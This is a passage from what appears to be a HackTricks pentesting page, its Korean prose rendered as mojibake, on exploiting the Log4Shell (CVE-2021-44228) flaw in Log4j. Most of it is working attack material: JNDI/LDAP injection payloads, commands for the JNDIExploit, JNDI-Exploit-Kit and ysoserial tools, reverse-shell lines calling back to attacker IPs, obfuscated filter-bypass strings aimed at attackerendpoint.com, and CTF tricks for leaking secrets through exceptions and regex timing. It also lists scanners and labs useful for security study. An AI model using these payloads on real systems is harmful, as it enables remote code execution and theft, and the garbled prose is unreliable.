Java ํ์ผ์ ํด๋์ค ํ์ผ๋ก ์ปดํ์ผํ๋ ค๋ฉด: javac Exploit.java -source 8 -target 8๋ฅผ ์ฌ์ฉํ์ธ์. ๋ค์์ผ๋ก, ํด๋์ค ํ์ผ์ด ์๋ ๋๋ ํ ๋ฆฌ์์ HTTP ์๋ฒ๋ฅผ ์์ํ๋ ค๋ฉด: python3 -m http.server๋ฅผ ์ฌ์ฉํ์ธ์. marshalsec LDAP ์๋ฒ๊ฐ ์ด HTTP ์๋ฒ๋ฅผ ์ฐธ์กฐํ๋์ง ํ์ธํ์ธ์.
์ทจ์ฝํ ์น ์๋ฒ์์ ์ต์คํ๋ก์ ํด๋์ค๋ฅผ ์คํํ๋๋ก ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด ๋ค์๊ณผ ์ ์ฌํ ํ์ด๋ก๋๋ฅผ ์ ์กํ์ธ์:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
์ฐธ๊ณ : ์ด ์ต์คํ๋ก์์ Java์ ๊ตฌ์ฑ์ด LDAP๋ฅผ ํตํด ์๊ฒฉ ์ฝ๋๋ฒ ์ด์ค ๋ก๋ฉ์ ํ์ฉํ๋ ๊ฒ์ ์์กดํฉ๋๋ค. ์ด๊ฒ์ด ํ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ, ์์ ์ฝ๋ ์คํ์ ์ํด ์ ๋ขฐํ ์ ์๋ ํด๋์ค๋ฅผ ์ด์ฉํ๋ ๊ฒ์ ๊ณ ๋ คํ์ญ์์ค.
RCE - JNDIExploit
Note
์ด๋ค ์ด์ ๋ก ์ ์๊ฐ log4shell ๋ฐ๊ฒฌ ํ ์ด ํ๋ก์ ํธ๋ฅผ github์์ ์ ๊ฑฐํ์ต๋๋ค. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2์์ ์บ์๋ ๋ฒ์ ์ ์ฐพ์ ์ ์์ง๋ง, ์ ์์ ๊ฒฐ์ ์ ์กด์คํ๊ณ ์ถ๋ค๋ฉด ์ด ์ทจ์ฝ์ ์ ์ด์ฉํ๊ธฐ ์ํด ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ญ์์ค.
๋ํ, wayback machine์์ ์์ค ์ฝ๋๋ฅผ ์ฐพ์ ์ ์์ผ๋ฏ๋ก, ์์ค ์ฝ๋๋ฅผ ๋ถ์ํ๊ฑฐ๋ ์คํํ๋ ๋ด์ฉ์ ๋ชจ๋ฅธ ์ฑ jar ํ์ผ์ ์คํํ์ญ์์ค.
์ด ์์ ์์๋ ํฌํธ 8080์์ log4shell์ ์ทจ์ฝํ ์น ์๋ฒ๋ฅผ ์คํํ ์ ์์ต๋๋ค: https://github.com/christophetd/log4shell-vulnerable-app (README์์ ์คํ ๋ฐฉ๋ฒ์ ์ฐพ์ ์ ์์ต๋๋ค). ์ด ์ทจ์ฝํ ์ฑ์ HTTP ์์ฒญ ํค๋ _X-Api-Version_์ ๋ด์ฉ์ log4shell์ ์ทจ์ฝํ ๋ฒ์ ์ผ๋ก ๊ธฐ๋กํ๊ณ ์์ต๋๋ค.
๊ทธ๋ฐ ๋ค์, JNDIExploit jar ํ์ผ์ ๋ค์ด๋ก๋ํ๊ณ ๋ค์๊ณผ ๊ฐ์ด ์คํํ ์ ์์ต๋๋ค:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
์ฝ๋๋ฅผ ๋ช ๋ถ๋ง ์ฝ์ผ๋ฉด, _com.feihong.ldap.LdapServer_์ _com.feihong.ldap.HTTPServer_์์ LDAP ๋ฐ HTTP ์๋ฒ๊ฐ ์์ฑ๋๋ ๋ฐฉ๋ฒ์ ๋ณผ ์ ์์ต๋๋ค. LDAP ์๋ฒ๋ ์ด๋ค ํ์ด๋ก๋๋ฅผ ์ ๊ณตํด์ผ ํ๋์ง ์ดํดํ๊ณ , ํผํด์๋ฅผ HTTP ์๋ฒ๋ก ๋ฆฌ๋๋ ์
ํ์ฌ ์ต์คํ๋ก์์ ์ ๊ณตํฉ๋๋ค.
_com.feihong.ldap.gadgets_์์๋ ์ํ๋ ์์
์ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ํน์ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์ต๋๋ค(์ ์ฌ์ ์ผ๋ก ์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์). ๊ทธ๋ฆฌ๊ณ _com.feihong.ldap.template_์์๋ ์ต์คํ๋ก์์ ์์ฑํ๋ ๋ค์ํ ํ
ํ๋ฆฟ ํด๋์ค๋ฅผ ๋ณผ ์ ์์ต๋๋ค.
๋ชจ๋ ์ฌ์ฉ ๊ฐ๋ฅํ ์ต์คํ๋ก์์ **java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**๋ก ํ์ธํ ์ ์์ต๋๋ค. ์ ์ฉํ ๊ฒ๋ค์:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
๊ทธ๋์, ์ฐ๋ฆฌ์ ์์ ์์ ์ฐ๋ฆฌ๋ ์ด๋ฏธ ์ทจ์ฝํ ๋์ปค ์ฑ์ด ์คํ๋๊ณ ์์ต๋๋ค. ์ด๋ฅผ ๊ณต๊ฒฉํ๊ธฐ ์ํด:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
๊ณต๊ฒฉ์ ์ ์กํ ๋ JNDIExploit-1.2-SNAPSHOT.jar๋ฅผ ์คํํ ํฐ๋ฏธ๋์์ ์ผ๋ถ ์ถ๋ ฅ์ ๋ณผ ์ ์์ต๋๋ค.
๋ค๋ฅธ ์ต์คํ๋ก์ ์ต์
์ ํ์ธํ๋ ค๋ฉด java -jar JNDIExploit-1.2-SNAPSHOT.jar -u๋ฅผ ํ์ธํ๋ ๊ฒ์ ์์ง ๋ง์ธ์. ๋ํ ํ์ํ ๊ฒฝ์ฐ LDAP ๋ฐ HTTP ์๋ฒ์ ํฌํธ๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
RCE - JNDI-Exploit-Kit
์ด์ ์ต์คํ๋ก์๊ณผ ์ ์ฌํ๊ฒ, ์ด ์ทจ์ฝ์ ์ ์
์ฉํ๊ธฐ ์ํด JNDI-Exploit-Kit๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
ํผํด์์๊ฒ ๋ณด๋ผ URL์ ์์ฑํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
์ด ๊ณต๊ฒฉ์ ์ฌ์ฉ์ ์ ์ ์์ฑ๋ ์๋ฐ ๊ฐ์ฒด๋ฅผ ์ฌ์ฉํ์ฌ THM solar room๊ณผ ๊ฐ์ ์คํ์ค์์ ์๋ํฉ๋๋ค. ๊ทธ๋ฌ๋ ๊ธฐ๋ณธ์ ์ผ๋ก Java๊ฐ LDAP๋ฅผ ์ฌ์ฉํ์ฌ ์๊ฒฉ ์ฝ๋๋ฒ ์ด์ค๋ฅผ ๋ก๋ํ๋๋ก ๊ตฌ์ฑ๋์ง ์์๊ธฐ ๋๋ฌธ์ ์ผ๋ฐ์ ์ผ๋ก ์๋ํ์ง ์์ ๊ฒ์ ๋๋ค. ์ด๋ ์์ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ ๋ขฐํ ์ ์๋ ํด๋์ค๋ฅผ ์ ์ฉํ์ง ์๊ธฐ ๋๋ฌธ์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus๋ ์๋ ๊ฐ๋ฅํ JNDI ๋งํฌ๋ฅผ ์์ฑํ๊ณ RMI ์๋ฒ, LDAP ์๋ฒ ๋ฐ HTTP ์๋ฒ๋ฅผ ์์ํ์ฌ ๋ฐฑ๊ทธ๋ผ์ด๋ ์๋น์ค๋ฅผ ์ ๊ณตํ๋ ๋ ๋ค๋ฅธ ๋๊ตฌ์ ๋๋ค.\
RCE - ysoserial & JNDI-Exploit-Kit
์ด ์ต์ ์ ์ง์ ๋ ํด๋์ค๋ง ์ ๋ขฐํ๋๋ก ๊ตฌ์ฑ๋ Java ๋ฒ์ ์ ๊ณต๊ฒฉํ๋ ๋ฐ ์ ๋ง ์ ์ฉํฉ๋๋ค. ๋ฐ๋ผ์ ysoserial์ ์์ ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ์ ๋ขฐํ ์ ์๋ ํด๋์ค์ ์ง๋ ฌํ๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค (ysoserial์ ์ํด ์ ์ฉ๋ ์ ๋ขฐํ ์ ์๋ ํด๋์ค๋ ๊ณต๊ฒฉ์ด ์๋ํ๊ธฐ ์ํด ํผํด์ ์๋ฐ ํ๋ก๊ทธ๋จ์์ ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค).
ysoserial ๋๋ ysoserial-modified๋ฅผ ์ฌ์ฉํ์ฌ JNDI์ ์ํด ๋ค์ด๋ก๋๋ ์ญ์ง๋ ฌํ ๊ณต๊ฒฉ์ ์์ฑํ ์ ์์ต๋๋ค:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
JNDI-Exploit-Kit๋ฅผ ์ฌ์ฉํ์ฌ JNDI ๋งํฌ๋ฅผ ์์ฑํฉ๋๋ค. ์ฌ๊ธฐ์ ์ต์คํ๋ก์์ ์ทจ์ฝํ ๋จธ์ ์ผ๋ก๋ถํฐ์ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฝ๋๋ค. JNDI-Exploit-Kit์ ์ํด ์๋์ผ๋ก ์์ฑ๋ ์ ์๋ ๋ค์ํ ์ต์คํ๋ก์์ ์ ๊ณตํ๊ฑฐ๋, ์ฌ์ง์ด ์์ ์ ์ญ์ง๋ ฌํ ํ์ด๋ก๋(์์ ์ด ์์ฑํ ๊ฒ ๋๋ ysoserial)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
.png)
์ด์ ์์ฑ๋ JNDI ๋งํฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ทจ์ฝ์ ์ ์
์ฉํ๊ณ ์ทจ์ฝํ ๋ฒ์ ์ log4j์ ๋ค์์ ์ ์กํ์ฌ ๋ฆฌ๋ฒ์ค ์
ธ์ ์ป์ ์ ์์ต๋๋ค: ${ldap://10.10.14.10:1389/generated}
์ฐํ ๋ฐฉ๋ฒ
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ฤฑ}}:ldap://...} //Notice the unicode "i"
์๋ ์ค์บ๋
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - ๋ก์ปฌ ์ทจ์ฝ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฐพ๊ธฐ
ํ ์คํธํ ์คํ์ค
- LogForge HTB ๋จธ์
- Try Hack Me Solar ๋ฐฉ
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shell ์ ์ฉ
์ด CTF ์์ฑ๊ธ์์๋ Log4J์ ์ผ๋ถ ๊ธฐ๋ฅ์ ์ ์ฉํ ์ ์๋ ๋ฐฉ๋ฒ์ด ์ ์ค๋ช ๋์ด ์์ต๋๋ค.
Log4j์ ๋ณด์ ํ์ด์ง์๋ ํฅ๋ฏธ๋ก์ด ๋ฌธ์ฅ์ด ์์ต๋๋ค:
๋ฒ์ 2.16.0 (Java 8์ฉ)๋ถํฐ๋ ๋ฉ์์ง ์กฐํ ๊ธฐ๋ฅ์ด ์์ ํ ์ ๊ฑฐ๋์์ต๋๋ค. ๊ตฌ์ฑ์์์ ์กฐํ๋ ์ฌ์ ํ ์๋ํฉ๋๋ค. ๋ํ, Log4j๋ ์ด์ ๊ธฐ๋ณธ์ ์ผ๋ก JNDI์ ๋ํ ์ ๊ทผ์ ๋นํ์ฑํํฉ๋๋ค. ๊ตฌ์ฑ์์ JNDI ์กฐํ๋ ์ด์ ๋ช ์์ ์ผ๋ก ํ์ฑํํด์ผ ํฉ๋๋ค.
๋ฒ์ 2.17.0๋ถํฐ (Java 7 ๋ฐ Java 6์ ๊ฒฝ์ฐ 2.12.3 ๋ฐ 2.3.1), ๊ตฌ์ฑ์์์ ์กฐํ ๋ฌธ์์ด๋ง ์ฌ๊ท์ ์ผ๋ก ํ์ฅ๋ฉ๋๋ค; ๋ค๋ฅธ ์ฌ์ฉ์์๋ ์ต์์ ์กฐํ๋ง ํด๊ฒฐ๋๋ฉฐ, ์ค์ฒฉ๋ ์กฐํ๋ ํด๊ฒฐ๋์ง ์์ต๋๋ค.
์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก jndi ์
์ฉ์ ์์ด๋ฒ๋ฆด ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ๊ฒ๋ค๊ฐ ์ฌ๊ท ์กฐํ๋ฅผ ์ํํ๋ ค๋ฉด ์ด๋ฅผ ๊ตฌ์ฑํด์ผ ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ์ด CTF์์๋ log4j2.xml ํ์ผ์์ ์ด๋ ๊ฒ ๊ตฌ์ฑ๋์์ต๋๋ค:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
์ด CTF์์ ๊ณต๊ฒฉ์๋ ${sys:cmd}์ ๊ฐ์ ์ ์ดํ๊ณ ํ๊ฒฝ ๋ณ์์์ ํ๋๊ทธ๋ฅผ ์ ์ถํด์ผ ํ์ต๋๋ค.
์ด ํ์ด์ง์ ์ด์ ํ์ด๋ก๋์์ ๋ณผ ์ ์๋ฏ์ด, **${env:FLAG}**์ ๊ฐ์ ํ๊ฒฝ ๋ณ์์ ์ ๊ทผํ๋ ๋ค์ํ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ์ด CTF์์๋ ์ธ๋ชจ๊ฐ ์์์ง๋ง ๋ค๋ฅธ ์ค์ ์๋๋ฆฌ์ค์์๋ ์ ์ฉํ ์ ์์ต๋๋ค.
Exfiltration in Exceptions
CTF์์๋ log4J๋ฅผ ์ฌ์ฉํ๋ ์๋ฐ ์ ํ๋ฆฌ์ผ์ด์
์ stderr์ ์ ๊ทผํ ์ ์์์ง๋ง, Log4J ์์ธ๋ stdout์ผ๋ก ์ ์ก๋์๊ณ , ์ด๋ ํ์ด์ฌ ์ ํ๋ฆฌ์ผ์ด์
์ ์ถ๋ ฅ๋์์ต๋๋ค. ์ด๋ ์์ธ๋ฅผ ๋ฐ์์์ผ ๋ด์ฉ์ ์ ๊ทผํ ์ ์์์ ์๋ฏธํ์ต๋๋ค. ํ๋๊ทธ๋ฅผ ์ ์ถํ๊ธฐ ์ํ ์์ธ๋: ${java:${env:FLAG}}. ์ด๋ **${java:CTF{blahblah}}**๊ฐ ์กด์ฌํ์ง ์๊ธฐ ๋๋ฌธ์ ์๋ํ๋ฉฐ, ํ๋๊ทธ์ ๊ฐ์ด ์๋ ์์ธ๊ฐ ํ์๋ฉ๋๋ค:
.png)
Conversion Patterns Exceptions
์ธ๊ธํ์๋ฉด, ์๋ก์ด ๋ณํ ํจํด์ ์ฃผ์
ํ๊ณ stdout์ ๊ธฐ๋ก๋ ์์ธ๋ฅผ ๋ฐ์์ํฌ ์๋ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
.png)
์ด๊ฒ์ ์ค๋ฅ ๋ฉ์์ง ๋ด์์ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๋ ๋ฐ ์ ์ฉํ์ง ์์์ต๋๋ค. ์๋ํ๋ฉด ๋ณํ ํจํด ์ด์ ์ ์กฐํ๊ฐ ํด๊ฒฐ๋์ง ์์๊ธฐ ๋๋ฌธ์ด์ง๋ง, ํ์ง์ ๊ฐ์ ๋ค๋ฅธ ์ฉ๋๋ก๋ ์ ์ฉํ ์ ์์ต๋๋ค.
Conversion Patterns Regexes
๊ทธ๋ฌ๋, ์ ๊ท ํํ์์ ์ง์ํ๋ ๋ณํ ํจํด์ ์ฌ์ฉํ์ฌ ์ ๊ท ํํ์์ ์ด์ฉํด ์กฐํ์์ ์ ๋ณด๋ฅผ ์ ์ถํ๊ณ ์ด์ง ๊ฒ์ ๋๋ ์๊ฐ ๊ธฐ๋ฐ ๋์์ ์ ์ฉํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
- ์์ธ ๋ฉ์์ง๋ฅผ ํตํ ์ด์ง ๊ฒ์
๋ณํ ํจํด **%replace**๋ ์ ๊ท ํํ์์ ์ฌ์ฉํ์ฌ ๋ฌธ์์ด์ ๋ด์ฉ์ ๋์ฒดํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: replace{pattern}{regex}{substitution}
์ด ๋์์ ์
์ฉํ์ฌ ์ ๊ท ํํ์์ด ๋ฌธ์์ด ๋ด์ ์ด๋ค ๊ฒ๊ณผ๋ ์ผ์นํ๋ฉด ์์ธ๋ฅผ ๋ฐ์์ํค๊ณ ๋ฐ๊ฒฌ๋์ง ์์ผ๋ฉด ์์ธ๊ฐ ๋ฐ์ํ์ง ์๋๋ก ๋ง๋ค ์ ์์ต๋๋ค:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- ์๊ฐ ๊ธฐ๋ฐ
์์ ์ธ๊ธํ๋ฏ์ด, **%replace**๋ regexes๋ฅผ ์ง์ํฉ๋๋ค. ๋ฐ๋ผ์ ํ๋๊ทธ๊ฐ ๋ฐ๊ฒฌ๋ ๊ฒฝ์ฐ ํ์์์์ ์ ๋ฐํ๊ธฐ ์ํด ReDoS ํ์ด์ง์ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd}์ ๊ฐ์ ํ์ด๋ก๋๋ ํด๋น CTF์์ ํ์์์์ ์ ๋ฐํ ๊ฒ์
๋๋ค.
์ด writeup์์๋ ReDoS ๊ณต๊ฒฉ ๋์ ์ฆํญ ๊ณต๊ฒฉ์ ์ฌ์ฉํ์ฌ ์๋ต์ ์๊ฐ ์ฐจ์ด๋ฅผ ์ ๋ฐํ์ต๋๋ค:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}ํ๋๊ทธ๊ฐ
flagGuess๋ก ์์ํ๋ฉด ์ ์ฒด ํ๋๊ทธ๋ 29๊ฐ์#๋ก ๋์ฒด๋ฉ๋๋ค (์ด ๋ฌธ์๋ ํ๋๊ทธ์ ์ผ๋ถ๊ฐ ์๋ ๊ฐ๋ฅ์ฑ์ด ๋๊ธฐ ๋๋ฌธ์ ์ฌ์ฉํ์ต๋๋ค). ๊ฒฐ๊ณผ์ ์ผ๋ก 29๊ฐ์#๋ ๊ฐ๊ฐ 54๊ฐ์#๋ก ๋์ฒด๋ฉ๋๋ค. ์ด ๊ณผ์ ์ 6๋ฒ ๋ฐ๋ณต๋์ด ์ด29*54*54^6* =`` ``96816014208#๊ฐ ์์ฑ๋ฉ๋๋ค!์ด๋ ๊ฒ ๋ง์
#๋ฅผ ๋์ฒดํ๋ฉด Flask ์ ํ๋ฆฌ์ผ์ด์ ์ 10์ด ํ์์์์ด ๋ฐ์ํ์ฌ HTTP ์ํ ์ฝ๋ 500์ด ์ฌ์ฉ์์๊ฒ ์ ์ก๋ฉ๋๋ค. (ํ๋๊ทธ๊ฐflagGuess๋ก ์์ํ์ง ์์ผ๋ฉด 500์ด ์๋ ์ํ ์ฝ๋๋ฅผ ๋ฐ๊ฒ ๋ฉ๋๋ค)
์ฐธ๊ณ ๋ฌธํ
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


